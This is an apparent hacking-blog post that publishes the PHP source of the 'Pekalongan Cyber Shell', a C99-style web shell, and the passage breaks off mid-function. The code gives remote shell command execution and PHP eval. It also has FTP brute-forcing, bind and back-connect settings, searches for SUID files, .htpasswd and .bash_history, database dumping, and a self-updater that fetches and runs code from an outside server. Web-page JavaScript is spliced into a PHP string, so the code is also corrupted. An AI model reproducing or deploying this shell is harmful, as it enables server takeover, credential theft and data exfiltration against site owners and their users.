HackingScripts

Hack Scripts for everybody

Pekalongan Cyber Shell

19 Feb 2014

I think this is actually a C99 shell, but the script says: Pekalongan Cyber | H1j4Ck a.k.a k4L0ng666

Pekalong Cyber Shell Source Code

   1 <?php //Starting calls
   2 if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
   3 error_reporting(5);
   4 @ignore_user_abort(TRUE);
   5 @set_magic_quotes_runtime(0);
   6 $win = strtolower(substr(PHP_OS,0,3)) == "win";
   7 define("starttime",getmicrotime());
   8 if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
   9 $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  10 foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  11 
  12 $shver = "Pekalongan Cyber | H1j4Ck a.k.a k4L0ng666"; //Current version
  13 //CONFIGURATION AND SETTINGS
  14 if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
  15 elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
  16 else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
  17 }
  18 
  19 $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  20 
  21 if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  22 if (empty($surl))
  23 {
  24  $surl = "?".$includestr; //Self url
  25 }
  26 $surl = htmlspecialchars($surl);
  27 
  28 $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  29 
  30 
  31 $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  32 $login_txt = "Perkosa Password"; //http-auth message.
  33 $accessdeniedmess = "  ".$shver.": Password Anda GagaL Teman";
  34 
  35 $gzipencode = TRUE; //Encode with gzip?
  36 
  37 $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  38 
  39 $k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
  40 $k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server
  41 
  42 $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  43 
  44 $donated_html = "<center><b>Owned by k4L0ng666</b></center>";
  45 /* If you publish free shell and you wish
  46 add link to your site or any other information,
  47 put here your html. */
  48 $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  49 
  50 $curdir = "./"; //start folder
  51 //$curdir = getenv("DOCUMENT_ROOT");
  52 $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  53 $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  54 
  55 $log_email = "hijackedan@yahoo.com
  56 /* <![CDATA[ */
  57 (function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
  58 /* ]]> */
  59 "; //Default e-mail for sending logs
  60 
  61 $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  62 $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  63 
  64 // Registered file-types.
  65 //  array(
  66 //   "{action1}"=>array("ext1","ext2","ext3",...),
  67 //   "{action2}"=>array("ext4","ext5","ext6",...),
  68 //   ...
  69 //  )
  70 $ftypes  = array(
  71  "html"=>array("html","htm","shtml"),
  72  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  73  "exe"=>array("sh","install","bat","cmd"),
  74  "ini"=>array("ini","inf"),
  75  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  76  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  77  "sdb"=>array("sdb"),
  78  "phpsess"=>array("sess"),
  79  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  80 );
  81 
  82 // Registered executable file-types.
  83 //  array(
  84 //   string "command{i}"=>array("ext1","ext2","ext3",...),
  85 //   ...
  86 //  )
  87 //   {command}: %f% = filename
  88 $exeftypes  = array(
  89  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  90  "perl %f%" => array("pl","cgi")
  91 );
  92 
  93 /* Highlighted files.
  94   array(
  95    i=>array({regexp},{type},{opentag},{closetag},{break})
  96    ...
  97   )
  98   string {regexp} - regular exp.
  99   int {type}:
 100 0 - files and folders (as default),
 101 1 - files only, 2 - folders only
 102   string {opentag} - open html-tag, e.g. "<b>" (default)
 103   string {closetag} - close html-tag, e.g. "</b>" (default)
 104   bool {break} - if TRUE and found match then break
 105 */
 106 $regxp_highlight  = array(
 107   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
 108   array("config.php",1) // example
 109 );
 110 
 111 $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
 112  // array (i=>{letter} ...); string {letter} - letter of a drive
 113 //$safemode_diskettes = range("a","z");
 114 $hexdump_lines = 8;// lines in hex preview file
 115 $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
 116 
 117 $nixpwdperpage = 100; // Get first N lines from /etc/passwd
 118 
 119 $bindport_pass = "h1j4ck";  // default password for binding
 120 $bindport_port = "31373"; // default port for binding
 121 $bc_port = "31373"; // default port for back-connect
 122 $datapipe_localport = "8081"; // default port for datapipe
 123 
 124 // Command-aliases
 125 if (!$win)
 126 {
 127  $cmdaliases = array(
 128   array("-----------------------------------------------------------", "ls -la"),
 129   array("find all suid files", "find / -type f -perm -04000 -ls"),
 130   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
 131   array("find all sgid files", "find / -type f -perm -02000 -ls"),
 132   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
 133   array("find config.inc.php files", "find / -type f -name config.inc.php"),
 134   array("find config* files", "find / -type f -name \"config*\""),
 135   array("find config* files in current dir", "find . -type f -name \"config*\""),
 136   array("find all writable folders and files", "find / -perm -2 -ls"),
 137   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
 138   array("find all service.pwd files", "find / -type f -name service.pwd"),
 139   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
 140   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
 141   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
 142   array("find all .bash_history files", "find / -type f -name .bash_history"),
 143   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
 144   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
 145   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
 146   array("list file attributes on a Linux second extended file system", "lsattr -va"),
 147   array("show opened ports", "netstat -an | grep -i listen")
 148  );
 149 }
 150 else
 151 {
 152  $cmdaliases = array(
 153   array("-----------------------------------------------------------", "dir"),
 154   array("show opened ports", "netstat -an")
 155  );
 156 }
 157 
 158 $sess_cookie = "k1r4vars"; // Cookie-variable name
 159 
 160 $usefsbuff = TRUE; //Buffer-function
 161 $copy_unset = FALSE; //Remove copied files from buffer after pasting
 162 
 163 //Quick launch
 164 $quicklaunch = array(
 165  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
 166  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
 167  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
 168  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 169  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
 170  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
 171  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
 172  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
 173  array("<b>Tools</b>",$surl."act=tools&d=%d"),
 174  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
 175  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 176  array("<b>Sec.</b>",$surl."act=security&d=%d"),
 177  array("<b>SQL</b>",$surl."act=sql&d=%d"),
 178  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 179  array("<b>Update</b>",$surl."act=update&d=%d"),
 180  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
 181  array("<b>Self remove</b>",$surl."act=selfremove"),
 182  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
 183 );
 184 
 185 //Highlight-code colors
 186 $highlight_background = "#c0c0c0";
 187 $highlight_bg = "#FFFFFF";
 188 $highlight_comment = "#6A6A6A";
 189 $highlight_default = "#0000BB";
 190 $highlight_html = "#1300FF";
 191 $highlight_keyword = "#007700";
 192 $highlight_string = "#000000";
 193 
 194 @$f = $_REQUEST["f"];
 195 @extract($_REQUEST["k1r4cook"]);
 196 
 197 //END CONFIGURATION
 198 
 199 
 200 // \/Next code isn't for editing\/
 201 @set_time_limit(0);
 202 $tmp = array();
 203 foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));}
 204 $s = "!^(".implode("|",$tmp).")$!i";
 205 if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://google.com/releases/ckira\">k4L0ng666</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
 206 if (!empty($login))
 207 {
 208  if (empty($md5_pass)) {$md5_pass = md5($pass);}
 209  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 210  {
 211   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
 212   header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
 213   header("HTTP/1.0 401 Unauthorized");
 214   exit($accessdeniedmess);
 215  }
 216 }
 217 if ($act != "img")
 218 {
 219 $lastdir = realpath(".");
 220 chdir($curdir);
 221 if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
 222 $sess_data = unserialize($_COOKIE["$sess_cookie"]);
 223 if (!is_array($sess_data)) {$sess_data = array();}
 224 if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
 225 if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
 226 
 227 $disablefunc = @ini_get("disable_functions");
 228 if (!empty($disablefunc))
 229 {
 230  $disablefunc = str_replace(" ","",$disablefunc);
 231  $disablefunc = explode(",",$disablefunc);
 232 }
 233 
 234 if (!function_exists("k1r4_buff_prepare"))
 235 {
 236 function k1r4_buff_prepare()
 237 {
 238  global $sess_data;
 239  global $act;
 240  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 241  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 242  $sess_data["copy"] = array_unique($sess_data["copy"]);
 243  $sess_data["cut"] = array_unique($sess_data["cut"]);
 244  sort($sess_data["copy"]);
 245  sort($sess_data["cut"]);
 246  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 247  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
 248 }
 249 }
 250 k1r4_buff_prepare();
 251 if (!function_exists("k1r4_sess_put"))
 252 {
 253 function k1r4_sess_put($data)
 254 {
 255  global $sess_cookie;
 256  global $sess_data;
 257  k1r4_buff_prepare();
 258  $sess_data = $data;
 259  $data = serialize($data);
 260  setcookie($sess_cookie,$data);
 261 }
 262 }
 263 foreach (array("sort","sql_sort") as $v)
 264 {
 265  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 266  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
 267 }
 268 if ($sort_save)
 269 {
 270  if (!empty($sort)) {setcookie("sort",$sort);}
 271  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
 272 }
 273 if (!function_exists("str2mini"))
 274 {
 275 function str2mini($content,$len)
 276 {
 277  if (strlen($content) > $len)
 278  {
 279   $len = ceil($len/2) - 2;
 280   return substr($content, 0,$len)."...".substr($content,-$len);
 281  }
 282  else {return $content;}
 283 }
 284 }
 285 if (!function_exists("view_size"))
 286 {
 287 function view_size($size)
 288 {
 289  if (!is_numeric($size)) {return FALSE;}
 290  else
 291  {
 292   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
 293   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
 294   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
 295   else {$size = $size . " B";}
 296   return $size;
 297  }
 298 }
 299 }
 300 if (!function_exists("fs_copy_dir"))
 301 {
 302 function fs_copy_dir($d,$t)
 303 {
 304  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 305  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 306  $h = opendir($d);
 307  while (($o = readdir($h)) !== FALSE)
 308  {
 309   if (($o != ".") and ($o != ".."))
 310   {
 311    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 312    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 313    if (!$ret) {return $ret;}
 314   }
 315  }
 316  closedir($h);
 317  return TRUE;
 318 }
 319 }
 320 if (!function_exists("fs_copy_obj"))
 321 {
 322 function fs_copy_obj($d,$t)
 323 {
 324  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 325  $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 326  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 327  if (is_dir($d))
 328  {
 329   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 330   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
 331   return fs_copy_dir($d,$t);
 332  }
 333  elseif (is_file($d)) {return copy($d,$t);}
 334  else {return FALSE;}
 335 }
 336 }
 337 if (!function_exists("fs_move_dir"))
 338 {
 339 function fs_move_dir($d,$t)
 340 {
 341  $h = opendir($d);
 342  if (!is_dir($t)) {mkdir($t);}
 343  while (($o = readdir($h)) !== FALSE)
 344  {
 345   if (($o != ".") and ($o != ".."))
 346   {
 347    $ret = TRUE;
 348    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 349    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
 350    if (!$ret) {return $ret;}
 351   }
 352  }
 353  closedir($h);
 354  return TRUE;
 355 }
 356 }
 357 if (!function_exists("fs_move_obj"))
 358 {
 359 function fs_move_obj($d,$t)
 360 {
 361  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 362  $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 363  if (is_dir($d))
 364  {
 365   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 366   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
 367   return fs_move_dir($d,$t);
 368  }
 369  elseif (is_file($d))
 370  {
 371   if(copy($d,$t)) {return unlink($d);}
 372   else {unlink($t); return FALSE;}
 373  }
 374  else {return FALSE;}
 375 }
 376 }
 377 if (!function_exists("fs_rmdir"))
 378 {
 379 function fs_rmdir($d)
 380 {
 381  $h = opendir($d);
 382  while (($o = readdir($h)) !== FALSE)
 383  {
 384   if (($o != ".") and ($o != ".."))
 385   {
 386    if (!is_dir($d.$o)) {unlink($d.$o);}
 387    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
 388   }
 389  }
 390  closedir($h);
 391  rmdir($d);
 392  return !is_dir($d);
 393 }
 394 }
 395 if (!function_exists("fs_rmobj"))
 396 {
 397 function fs_rmobj($o)
 398 {
 399  $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
 400  if (is_dir($o))
 401  {
 402   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
 403   return fs_rmdir($o);
 404  }
 405  elseif (is_file($o)) {return unlink($o);}
 406  else {return FALSE;}
 407 }
 408 }
 409 if (!function_exists("myshellexec"))
 410 {
 411 function myshellexec($cmd)
 412 {
 413  global $disablefunc;
 414  $result = "";
 415  if (!empty($cmd))
 416  {
 417   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
 418 ",$result);}
 419   elseif (($result = `$cmd`) !== FALSE) {}
 420   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
 421   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
 422   elseif (is_resource($fp = popen($cmd,"r")))
 423   {
 424    $result = "";
 425    while(!feof($fp)) {$result .= fread($fp,1024);}
 426    pclose($fp);
 427   }
 428  }
 429  return $result;
 430 }
 431 }
 432 if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
 433 if (!function_exists("view_perms"))
 434 {
 435 function view_perms($mode)
 436 {
 437  if (($mode & 0xC000) === 0xC000) {$type = "s";}
 438  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 439  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 440  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 441  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 442  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 443  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 444  else {$type = "?";}
 445 
 446  $owner["read"] = ($mode & 00400)?"r":"-";
 447  $owner["write"] = ($mode & 00200)?"w":"-";
 448  $owner["execute"] = ($mode & 00100)?"x":"-";
 449  $group["read"] = ($mode & 00040)?"r":"-";
 450  $group["write"] = ($mode & 00020)?"w":"-";
 451  $group["execute"] = ($mode & 00010)?"x":"-";
 452  $world["read"] = ($mode & 00004)?"r":"-";
 453  $world["write"] = ($mode & 00002)? "w":"-";
 454  $world["execute"] = ($mode & 00001)?"x":"-";
 455 
 456  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 457  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 458  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
 459 
 460  return $type.join("",$owner).join("",$group).join("",$world);
 461 }
 462 }
 463 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
 464 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
 465 if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
 466 if (!function_exists("parse_perms"))
 467 {
 468 function parse_perms($mode)
 469 {
 470  if (($mode & 0xC000) === 0xC000) {$t = "s";}
 471  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 472  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 473  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 474  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 475  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 476  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 477  else {$t = "?";}
 478  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 479  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 480  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 481  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
 482 }
 483 }
 484 if (!function_exists("parsesort"))
 485 {
 486 function parsesort($sort)
 487 {
 488  $one = intval($sort);
 489  $second = substr($sort,-1);
 490  if ($second != "d") {$second = "a";}
 491  return array($one,$second);
 492 }
 493 }
 494 if (!function_exists("view_perms_color"))
 495 {
 496 function view_perms_color($o)
 497 {
 498  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 499  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 500  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
 501 }
 502 }
 503 if (!function_exists("k1r4getsource"))
 504 {
 505 function k1r4getsource($fn)
 506 {
 507  global $k1r4_sourcesurl;
 508  $array = array(
 509   "k1r4_bindport.pl" => "k1r4_bindport_pl.txt",
 510   "k1r4_bindport.c" => "k1r4_bindport_c.txt",
 511   "k1r4_backconn.pl" => "k1r4_backconn_pl.txt",
 512   "k1r4_backconn.c" => "k1r4_backconn_c.txt",
 513   "k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt",
 514   "k1r4_datapipe.c" => "k1r4_datapipe_c.txt",
 515  );
 516  $name = $array[$fn];
 517  if ($name) {return file_get_contents($k1r4_sourcesurl.$name);}
 518  else {return FALSE;}
 519 }
 520 }
 521 if (!function_exists("k1r4_getupdate"))
 522 {
 523 function k1r4_getupdate($update = TRUE)
 524 {
 525  $url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
 526  $data = @file_get_contents($url);
 527  if (!$data) {return "Can't connect to update-server!";}
 528  else
 529  {
 530   $data = ltrim($data);
 531   $string = substr($data,3,ord($data{2}));
 532   if ($data{0} == "" and $data{1} == "") {return "Error: ".$string; return FALSE;}
 533   if ($data{0} == "" and $data{1} == "") {return "You are using latest version!";}
 534   if ($data{0} == "" and $data{1} == "")
 535   {
 536    $string = explode("",$string);
 537    if ($update)
 538    {
 539     $confvars = array();
 540     $sourceurl = $string[0];
 541     $source = file_get_contents($sourceurl);
 542     if (!$source) {return "Can't fetch update!";}
 543     else
 544     {
 545      $fp = fopen(__FILE__,"w");
 546      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
 547      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
 548     }
 549    }
 550    else {return "New version are available: ".$string[1];}
 551   }
 552   elseif ($data{0} == "" and $data{1} == "") {eval($string); return 1;}
 553   else {return "Error in protocol: segmentation failed! (".$data.") ";}
 554  }
 555 }
 556 }
 557 if (!function_exists("mysql_dump"))
 558 {
 559 function mysql_dump($set)
 560 {
 561  global $shver;
 562  $sock = $set["sock"];
 563  $db = $set["db"];
 564  $print = $set["print"];
 565  $nl2br = $set["nl2br"];
 566  $file = $set["file"];
 567  $add_drop = $set["add_drop"];
 568  $tabs = $set["tabs"];
 569  $onlytabs = $set["onlytabs"];
 570  $ret = array();
 571  $ret["err"] = array();
 572  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 573  if (empty($db)) {$db = "db";}
 574  if (empty($print)) {$print = 0;}
 575  if (empty($nl2br)) {$nl2br = 0;}
 576  if (empty($add_drop)) {$add_drop = TRUE;}
 577  if (empty($file))
 578  {
 579   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 580  }
 581  if (!is_array($tabs)) {$tabs = array();}
 582  if (empty($add_drop)) {$add_drop = TRUE;}
 583  if (sizeof($tabs) == 0)
 584  {
 585   // retrive tables-list
 586   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
 587   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 588  }
 589  $out = "# Dumped by kira.SQL v. ".$shver."
 590 # Home page: http://google.com
 591 #
 592 # Host settings:
 593 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
 594 # Date: ".date("d.m.Y H:i:s")."
 595 # DB: \"".$db."\"
 596 #---------------------------------------------------------
 597 ";
 598  $c = count($onlytabs);
 599  foreach($tabs as $tab)
 600  {
 601   if ((in_array($tab,$onlytabs)) or (!$c))
 602   {
 603    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
 604 ";}
 605    // recieve query for create table structure
 606    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
 607    if (!$res) {$ret["err"][] = mysql_smarterror();}
 608    else
 609    {
 610     $row = mysql_fetch_row($res);
 611     $out .= $row["1"].";
 612 
 613 ";
 614     // recieve table variables
 615     $res = mysql_query("SELECT * FROM `$tab`", $sock);
 616     if (mysql_num_rows($res) > 0)
 617     {
 618      while ($row = mysql_fetch_assoc($res))
 619      {
 620       $keys = implode("`, `", array_keys($row));
 621       $values = array_values($row);
 622       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
 623       $values = implode("', '", $values);
 624       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
 625 ";
 626       $out .= $sql;
 627      }
 628     }
 629    }
 630   }
 631  }
 632  $out .= "#---------------------------------------------------------------------------------
 633 
 634 ";
 635  if ($file)
 636  {
 637   $fp = fopen($file, "w");
 638   if (!$fp) {$ret["err"][] = 2;}
 639   else
 640   {
 641    fwrite ($fp, $out);
 642    fclose ($fp);
 643   }
 644  }
 645  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 646  return $out;
 647 }
 648 }
 649 if (!function_exists("mysql_buildwhere"))
 650 {
 651 function mysql_buildwhere($array,$sep=" and",$functs=array())
 652 {
 653  if (!is_array($array)) {$array = array();}
 654  $result = "";
 655  foreach($array as $k=>$v)
 656  {
 657   $value = "";
 658   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
 659   $value .= "'".addslashes($v)."'";
 660   if (!empty($functs[$k])) {$value .= ")";}
 661   $result .= "`".$k."` = ".$value.$sep;
 662  }
 663  $result = substr($result,0,strlen($result)-strlen($sep));
 664  return $result;
 665 }
 666 }
 667 if (!function_exists("mysql_fetch_all"))
 668 {
 669 function mysql_fetch_all($query,$sock)
 670 {
 671  if ($sock) {$result = mysql_query($query,$sock);}
 672  else {$result = mysql_query($query);}
 673  $array = array();
 674  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 675  mysql_free_result($result);
 676  return $array;
 677 }
 678 }
 679 if (!function_exists("mysql_smarterror"))
 680 {
 681 function mysql_smarterror($type,$sock)
 682 {
 683  if ($sock) {$error = mysql_error($sock);}
 684  else {$error = mysql_error();}
 685  $error = htmlspecialchars($error);
 686  return $error;
 687 }
 688 }
 689 if (!function_exists("mysql_query_form"))
 690 {
 691 function mysql_query_form()
 692 {
 693  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 694  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 695  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 696  if ((!$submit) or ($sql_act))
 697  {
